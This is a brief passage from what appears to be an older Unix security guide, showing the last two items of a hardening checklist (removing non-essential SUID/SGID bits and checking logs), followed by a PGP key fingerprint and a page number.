  734.                   6. Remove SUID and SGID bits from all files in the system that are not
  735.                      essential for normal users to work with.
  736.                   7. Check your log files regularly.
  737.  
  738.  
  739.  
  740.  
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.                  4 PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5
  759.  
  760. 426
  761.  
  762.  
  763.  
  764.